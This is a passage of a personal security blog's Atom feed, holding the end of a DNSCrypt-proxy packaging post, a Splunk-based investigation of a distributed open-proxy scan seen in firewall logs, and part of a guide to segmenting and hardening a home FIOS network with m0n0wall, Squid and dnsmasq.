&amp;nbsp; -h&amp;nbsp;&amp;nbsp;&amp;nbsp; --help&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -k&amp;nbsp;&amp;nbsp;&amp;nbsp; --provider-key=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -l&amp;nbsp;&amp;nbsp;&amp;nbsp; --logfile=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -n&amp;nbsp;&amp;nbsp;&amp;nbsp; --max-active-requests=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -p&amp;nbsp;&amp;nbsp;&amp;nbsp; --pidfile=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -r&amp;nbsp;&amp;nbsp;&amp;nbsp; --resolver-address=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -t&amp;nbsp;&amp;nbsp;&amp;nbsp; --tcp-port=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -u&amp;nbsp;&amp;nbsp;&amp;nbsp; --user=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -N&amp;nbsp;&amp;nbsp;&amp;nbsp; --provider-name=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -P&amp;nbsp;&amp;nbsp;&amp;nbsp; --local-port=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -V&amp;nbsp;&amp;nbsp;&amp;nbsp; --version&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Please consult the dnscrypt-proxy(8) man page for details.&lt;br /&gt;&lt;br /&gt;Good to go!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1392162432180732401?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1392162432180732401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1392162432180732401' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1392162432180732401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1392162432180732401'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2011/12/referring-to-x4s-issue-for-linux.html' title='Building a Debian/Ubuntu Package for DNSCrypt-proxy'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-2363891916527298276</id><published>2011-09-08T21:53:00.003-04:00</published><updated>2011-09-08T21:53:58.961-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='splunk'/><category scheme='http://www.blogger.com/atom/ns#' term='port scanning'/><title type='text'>Bigger Sets to Visualize</title><content type='html'>After yesterdays post, I revisited the data and came up with a better static query. It now just looks for 40 byte packets fom port 12200. The supporting query looks like this:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-UmoHPBZjJUU/Tmlsyp_LSmI/AAAAAAAAABU/3GXVtZ9PTdI/s1600/Selection_016.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://3.bp.blogspot.com/-UmoHPBZjJUU/Tmlsyp_LSmI/AAAAAAAAABU/3GXVtZ9PTdI/s320/Selection_016.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;The flash clearly indicates a ramp-up of scanning activity last month, but just how much? Open the Report Builder and re-render the data as a stacked area graph. Again, treat nullvalues as zero for this purpose.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-OmyYzNNKZE0/Tmls2yFeGcI/AAAAAAAAABY/uCzqQxB3ZDE/s1600/Selection_015.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/-OmyYzNNKZE0/Tmls2yFeGcI/AAAAAAAAABY/uCzqQxB3ZDE/s320/Selection_015.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Thats a pretty dramatic take-off from a wide selection of IP addresses. None of them have reverse DNS records, and all have with infrastructure-style WHOIS records. A brief review indicates several clusters of IP addresses at large virtual hostsers with a few smaller hosters and individual servers. Perhaps a compromised management console (remember CPanel?) or a clutch of vulnerable LAMP stacks? &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-2363891916527298276?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/2363891916527298276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=2363891916527298276' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2363891916527298276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2363891916527298276'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2011/09/bigger-sets-to-visualize.html' title='Bigger Sets to Visualize'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-UmoHPBZjJUU/Tmlsyp_LSmI/AAAAAAAAABU/3GXVtZ9PTdI/s72-c/Selection_016.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-963997844580771559</id><published>2011-09-08T00:48:00.001-04:00</published><updated>2011-09-08T01:06:17.402-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='packets'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='splunk'/><category scheme='http://www.blogger.com/atom/ns#' term='graphical analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='data augmentation'/><category scheme='http://www.blogger.com/atom/ns#' term='m0n0wall'/><title type='text'>Visualizing and Investigating a Distributed Scan</title><content type='html'>I was checking my logs and trying out a new app I created for &lt;a href="http://www.splunk.com/"&gt;Splunk&lt;/a&gt;. Normally my graph looks like the one below, with the exception of one host that I recently added that was wildly dropping packets on the left. At the bottom-right, there are typically some bursts, but for the most part the averages are low. The scatterplots are fairly tight and low volume. For this packet length average vs. summation plot, most things cluster at the bottom left (low volume), occasionally blip into one of the upper-left (lots of low, slow) or lower-right (a few large packets) corners, and rarely pop-up in the upper-right (lots of big packets, blasting) quadrant. Here is an example:&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ZKcKsvR51lo/Tmg8HuOwxqI/AAAAAAAAAAw/jQdXjcVCI34/s1600/Selection_001.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="161" src="http://1.bp.blogspot.com/-ZKcKsvR51lo/Tmg8HuOwxqI/AAAAAAAAAAw/jQdXjcVCI34/s320/Selection_001.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Normal Dashboard&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;The Bird is the Word&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Today I check the dashboard and the left side (ingress) looked remarkably different. The averages were pretty normal, but there was a steady baseline at the bottom. Also, the summation of dropped packets was much higher than the 'normal' sampling. The scatterplot also diverged more in the ~40 byte range, with a sample of hosts clearly engaged in a lot of small transactions.&amp;nbsp; This peaqued my interest.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-kdaAlV_eEMg/Tmg9Hm2tc0I/AAAAAAAAAA0/e-KZZqpXn5A/s1600/Monowall+Heads+Up+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_005+%2528Modified%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="185" src="http://1.bp.blogspot.com/-kdaAlV_eEMg/Tmg9Hm2tc0I/AAAAAAAAAA0/e-KZZqpXn5A/s320/Monowall+Heads+Up+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_005+%2528Modified%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Abby Normal&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;And Now It's Time for Breakdown...&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Investigating the increase in ingress summation (the chart at the bottom-right), I clicked the 'View Results' link on that chart. I then modified it slightly to reduce the number of extracted fields. This improved the search speed remarkably. I also eliminated the aggregate summing the 'timechart' command performs by default after the top 10, which returned all of the hosts. The 'limit=0' parameter achieved this. Now I had a chart that I could graph on a line chart and analyze more closely.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-jSu3sZ5_nXY/Tmg9LjemT9I/AAAAAAAAAA4/PWFnEXSoiCg/s1600/Search+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_006+%2528Modified%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://3.bp.blogspot.com/-jSu3sZ5_nXY/Tmg9LjemT9I/AAAAAAAAAA4/PWFnEXSoiCg/s320/Search+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_006+%2528Modified%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Prep for launch...&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;I adjusted the default settings slightly to treat null values as zero and added some axis labels. TIP: If you hover the mouse over one of the IP addresses in legend, Splunk highlights the line for that selection. I noticed the 58.218.199.0/24 IP addresses all have that matching bumpity-bump along the bottom, low and slow. This is pretty good evidence of an undiversified distributed scan. I decided to generate some better metrics.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-SH4EWr6Iq7M/Tmg9Pxx4NcI/AAAAAAAAAA8/kxig_eZZMBE/s1600/Report+Builder+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_007+%2528Modified+%25282%2529%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="133" src="http://3.bp.blogspot.com/-SH4EWr6Iq7M/Tmg9Pxx4NcI/AAAAAAAAAA8/kxig_eZZMBE/s320/Report+Builder+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_007+%2528Modified+%25282%2529%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Launch! Graph of FW drops over a timespan.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;Which of these is Not Like the Others?&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Looking at the rejected packet meta, I wanted to determine just how alike the packets were that were dropping from these hosts. I limited the search to just that subnet with a straight text search. Again, I limited the selected fields to improve the extraction speed. Then I created a timechart to bin by day the average packet length of each server involved. Once the search got underway, I clicked 'Show Report'.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-EDnb3GdLvDc/Tmg9TCZ4W5I/AAAAAAAAABA/3liJjhIe-AU/s1600/Search+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_008+%2528Modified%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="188" src="http://4.bp.blogspot.com/-EDnb3GdLvDc/Tmg9TCZ4W5I/AAAAAAAAABA/3liJjhIe-AU/s320/Search+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_008+%2528Modified%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;In the Report Builder, I selected an area chart, treating nulls as zero, and stacked the results. As you see in this screenshot, the report showed the distribution of the packet sizes between the servers was even. The scanning cluster also ramped up just after a preliminary poke from a single server, 58.218.199.49.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-33aYWZkS7Aw/Tmg9WAqmFEI/AAAAAAAAABE/umIN_lCCzz8/s1600/Report+Builder+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_009+%2528Modified%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="184" src="http://2.bp.blogspot.com/-33aYWZkS7Aw/Tmg9WAqmFEI/AAAAAAAAABE/umIN_lCCzz8/s320/Report+Builder+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_009+%2528Modified%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Poke then plunge. This stacked area graph shows even traffic from the scanning cluster.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;Peek-a-boo, I See You&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Having identified the scanning cluster, I wanted to see what ports the aggressor was looking to find. During my investigation, I came across this comment at the &lt;a href="http://isc.sans.edu/"&gt;Internet Storm Center&lt;/a&gt; website, followed by many other confirmatory posts at other sites, regarding the nature of the attacker. It appeared they have been active for a number of years.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-3SGtc1Iog_0/Tmg9ZTR_III/AAAAAAAAABI/j-UxrwABjgU/s1600/Selection_010.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="68" src="http://1.bp.blogspot.com/-3SGtc1Iog_0/Tmg9ZTR_III/AAAAAAAAABI/j-UxrwABjgU/s320/Selection_010.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;After identifying the affected ports, I prettied it up a bit with a lookup table to provide the common uses of those ports. It became plain that the scanner was looking for open proxies, whether legitimate, ill-configured, left by malware, or just plain hacked. There were many supporting statements for all of these in the&amp;nbsp; resources culled to identify these ports.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-8yli0l-A9uY/Tmg9eKwjluI/AAAAAAAAABM/WtWeJ6XA4Pg/s1600/Search+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_013+%2528Modified%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="181" src="http://1.bp.blogspot.com/-8yli0l-A9uY/Tmg9eKwjluI/AAAAAAAAABM/WtWeJ6XA4Pg/s320/Search+-+Monowall+Heads+Up%2521+-+Splunk+4.2.3+%2528105575%2529+-+Mozilla+Firefox_013+%2528Modified%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Proxy ports, proxy ports... Oh, more proxy ports. No secrets here.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;Playing Favorites?&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Now that I had an inkling what they were up to, I was interested in seeing if they favor certain ports. The data showed that the scanners were coordinated to test the target port set just about evenly.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-LvEMBVZcIvE/Tmg9hWzcWTI/AAAAAAAAABQ/XDeJulad2kY/s1600/Selection_014.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="179" src="http://1.bp.blogspot.com/-LvEMBVZcIvE/Tmg9hWzcWTI/AAAAAAAAABQ/XDeJulad2kY/s320/Selection_014.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Even distribution of scanned ports.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;Summing It Up&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;It seems the aggressors utilizing these Chinese servers really like to scan for open proxies. Intent for such a collection, who can say? It could be folks looking for a way to circumvent Chinese proxy filters. However, judging from the technical coordination and longevity of this scanning behavior, it would seem more coordinated than that. In the least, better funded, and possibly sanctioned. Regardless of speculation, it is without doubt that the aggressors seek open proxy servers without permission, even trolling for botnet proxy remnants, and at the expense of those they locate when they turn on the tubes.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-963997844580771559?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/963997844580771559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=963997844580771559' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/963997844580771559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/963997844580771559'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2011/09/visualizing-and-investigating.html' title='Visualizing and Investigating a Distributed Scan'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-ZKcKsvR51lo/Tmg8HuOwxqI/AAAAAAAAAAw/jQdXjcVCI34/s72-c/Selection_001.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-396853361850757721</id><published>2011-08-29T22:30:00.001-04:00</published><updated>2011-08-29T22:39:28.947-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='home firewall verizon fios'/><title type='text'></title><content type='html'>This article is in response to a query about securing a FIOS network in a reasonable way for family and home use.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-SpBrBa_3eqg/Tlt2zCe8bbI/AAAAAAAAAAs/iURf5o2TL5I/s1600/Diagram1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-SpBrBa_3eqg/Tlt2zCe8bbI/AAAAAAAAAAs/iURf5o2TL5I/s320/Diagram1.png" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;This design will create three separate zones. The first zone is the WAN, which simply picks up the IP address, routing, and DNS information from the FIOS servers. This implements the simple SPI firewall filters.&lt;br /&gt;&lt;br /&gt;The second zone is the Trusted LAN, which will be locked down in what it can pass to the other zones. Why treat the Trusted LAN with less trust? Well, if we want to trust assets on that network, we need them to perform in compliant ways. So, instead of inherently trusting assets on that network, we enforce that that segment will act in an assured manner. This means implementing egress controls, limiting weird protocols, and forcing the use of proxies. Think of it less as 'a zone of trusted hosts' and more like 'a zone of hosts I need to trust'. These hosts are subject to more scrutiny as they or their data are more valuable.&lt;br /&gt;&lt;br /&gt;The third zone is the DMZ. The hardened proxy/dns server goes in here, but the rest of that segment is for hosts that can't comply with the mandatory restrictions of the Trusted LAN. These are usually consumer appliance devices like iPods, iPads, tablets, video game consoles, Internet-enabled DVD players and the like. My rubric: consumer appliance devices that need Internet access to be useful but are too dumb to print.&lt;br /&gt;&lt;br /&gt;I also recommend placing wireless connections into yet another zone to provide granular access controls. Wireless is typically the weakest infrastructure conduit in a home network, excluding &lt;a href="http://en.wikipedia.org/wiki/User_error"&gt;PEBKAC&lt;/a&gt;. However, attaching wireless access points into the DMZ and Trusted zones may be suitable depending on your ability to secure them.&lt;br /&gt;&lt;br /&gt;Pick list:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Pentium-3 class computer with 256 MB RAM. As this machine is likely 10 years old, purchasing an IDE-to-Compact Flash adapter with an 8GB CF card will give it some pick-up. Assuming there is already one Ethernet onboard the motherboard, this unit should have at least a PCI expansion port capable of supporting a 2- or 4-port Ethernet card. Keep in mind, three ports are required to make this configuration work. With a minimalist firewall OS, like m0n0wall, this will become a capable firewall.&lt;/li&gt;&lt;li&gt;Matching PCI 2- or 4-port Ethernet card. Server-class coprocessors by Intel are desirable.&lt;/li&gt;&lt;li&gt;Pentium-4 class computer with 512 MB RAM + 10GB drive. This machine is probably 5-7 years old and needs a little more spunk to deliver layer-7 services. Consider the above-mentioned PCI-to-CF converter for the base OS with a secondary drive for bulk storage. This will become the DMZ proxy and DNS services.&lt;/li&gt;&lt;li&gt;Pentium class computer, configuration negotiable, lots of bulk disk (fast I/O preferred). This machine will become the internal security auditor, receiving logs from the DMZ proxy and the firewall.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Bringing in the WAN&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;My FIOS installation has the unfortunate distinction of not using the Ethernet for the WAN connection, but bringing in the WAN backhaul over the COAX. This requires the use of a MOCA adapter to bridge the WAN to Ethernet. Since I don't have any spare MOCA units around and the COAX LAN to the video set-top boxes run over that same COAX line, that means using the ActionTec in a double-bridge confirguration, as documented in my previous post "&lt;a href="http://pinowudi.blogspot.com/2010/10/verizon-fios-faux-paus.html"&gt;Verizon FIOS Faux Paus&lt;/a&gt;". &lt;br /&gt;&lt;b&gt;&lt;br /&gt;Firewall Installation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Download and install &lt;a href="http://m0n0.ch/"&gt;m0n0wall&lt;/a&gt; on the firewall host. Once the steps are completed to create the double-bridge, or if you have Ethernet WAN, run the WAN line to eth1 of the firewall host. The default setup via the console of the FW host should allow for easy implementation of the WAN (eth1) and LAN (eth0) ports in simple no-ingress, all-egress configuration. Apply a common RFC 1918 private class-C subnet to the trusted LAN. e.g. 192.168.1.0/24.&lt;br /&gt;&lt;br /&gt;Now set up the third interface as a DMZ (eth2). Set it up in standard SPI configuration: block ingress initiates, allow all outbound traffic. This will allow just about anything to work in this network. It also provides a nice guest network for visitors. Apply a different class-C subnet for the DMZ. e.g. 192.168.2.0/24&lt;br /&gt;&lt;br /&gt;Connect the switches to the respective ports. You should definitely be using separate physical switches for each segment. Otherwise, employ VLAN tagging for the segments on a single switch that can support it. Wireless routers with integrated switches can serve this purpose, just use the Ethernet LAN ports, not the WAN port to avoid double NAT'ing. If using a switch with node presence, like most consumer-grade [wireless] routers, be sure to set the router IP to a private subnet not routable by that served by the LAN it is on. For example, on a 192.168.n.n LAN with a gateway of 192.168.n.1, the router management IP should be 10.n.n.n. Management of the switch should be performed by a direct hookup to a host with a static IP set to the same class-C subnet. It is not a perfect solution, but it will help prevent drive-by XSS exploits on weak router configuration pages and casual scans. Neither is it invisible, as described later. Routers are noisy things.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Establish Essential Services&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;With basic services going, it is time to establish control over essential services. This will be done on a host operating in the DMZ. This will provide it the access it requires to the Internet for services, make it available to both TRUSTED and DMZ hosts that might make use of it, and protect the TRUSTED network from probes should the box become compromised. However, if the host becomes compromised, it will give the attacker control over traffic direction (DNS) and content (proxy) for the TRUSTED net. I chose Ubuntu for the easy package management, though any *nix operating system should be appropriate. This box should be &lt;a href="http://www.google.com/search?q=linux+hardening"&gt;hardened&lt;/a&gt; and tightly monitored.&lt;br /&gt;&lt;br /&gt;Most of the Internet operates via HTTP(S) after performing a DNS resolution. Therefore, controlling these protocols is essential to establishing control in the network. With the intent of completely locking down egress protocols on the TRUSTED LAN later on, a fully-featured proxy server is necessary. Caching is also a nice feature to reduce the load of things like updates, which most of the hosts on the network will be doing from Internet sources. &lt;a href="http://www.squid-cache.org/"&gt;SQUID&lt;/a&gt; provides caching support, access enforcement, and robust logging features. &lt;br /&gt;&lt;br /&gt;Optionally, one can layer &lt;a href="http://dansguardian.org/"&gt;DansGuardian&lt;/a&gt; as a free regex-based enforcement layer on top of SQUID. It provides access controls suited for many common web ailments. Be advised, it will require a bit of tuning at setup to keep from blocking things like system updates. It also does not respond well for some foreign-language matches, which can become a burden. Otherwise, if you are technically inclined and have time to maintain your own custom lists, this is a great tool. &lt;br /&gt;&lt;br /&gt;On the proxy host, also install &lt;a href="http://thekelleys.org.uk/dnsmasq/doc.html"&gt;DNSMASQ&lt;/a&gt;. This is the same utility that provides forwarding DNS and DHCP services on many wireless routers. We will only be using it for its DNS capabilities. Edit the dnsmasq configuration file to manually set OpenDNS as the DNS forwarders. &lt;a href="http://www.opendns.com/"&gt;OpenDNS&lt;/a&gt; provides filtered DNS resolution for free, protecting against many of the most obvious violations by botnet herders by default, even without an registered account. If you choosed to register and add your home network, you can gain further content control based on their domain categorizations. &lt;br /&gt;&lt;br /&gt;Set the logging of both squid and dnsmasq to the syslog daemon. Modern syslog services, such as rsyslog and syslog-ng, are capable of filtering different program's logs into rotated files. Establish log directories and rotated log files for squid and dnsmasq. Also fork these feeds to the central syslog server (audit server) to be established later.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Locking Down &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now that DNS and Proxy services are established, adjust the configuration of the firewall. Change the default DHCP behavior from issuing the firewall's IP as the DNS passthrough to issuing the IP address of your proxy/dns server in the DMZ. This will encourage hosts to use the DMZ DNS server, which provides logging and domain access control. In the TRUSTED LAN, adjust your hosts' settings to use the proxy server in the DMZ. This is typically done by setting the proxy values to "http://proxyip:3128/", and selecting 'apply to all protocols'. For Windows boxes, this must be done in Internet Explorer to make system updates work, as well as any other installed browsers that do not integrate with IE's proxy settings. For Gnome Linux hosts, this is typically under System -&amp;gt; Preferences -&amp;gt; Network Proxy as the administrative user. When prompted, confirm 'apply systemwide'.&lt;br /&gt;&lt;br /&gt;With hosts in the TRUSTED LAN using the proxy, the firewall can now be prepared to lock out all outbound protocols for that subnet. Establish a rule allowing http/s and dns traffic to the proxy 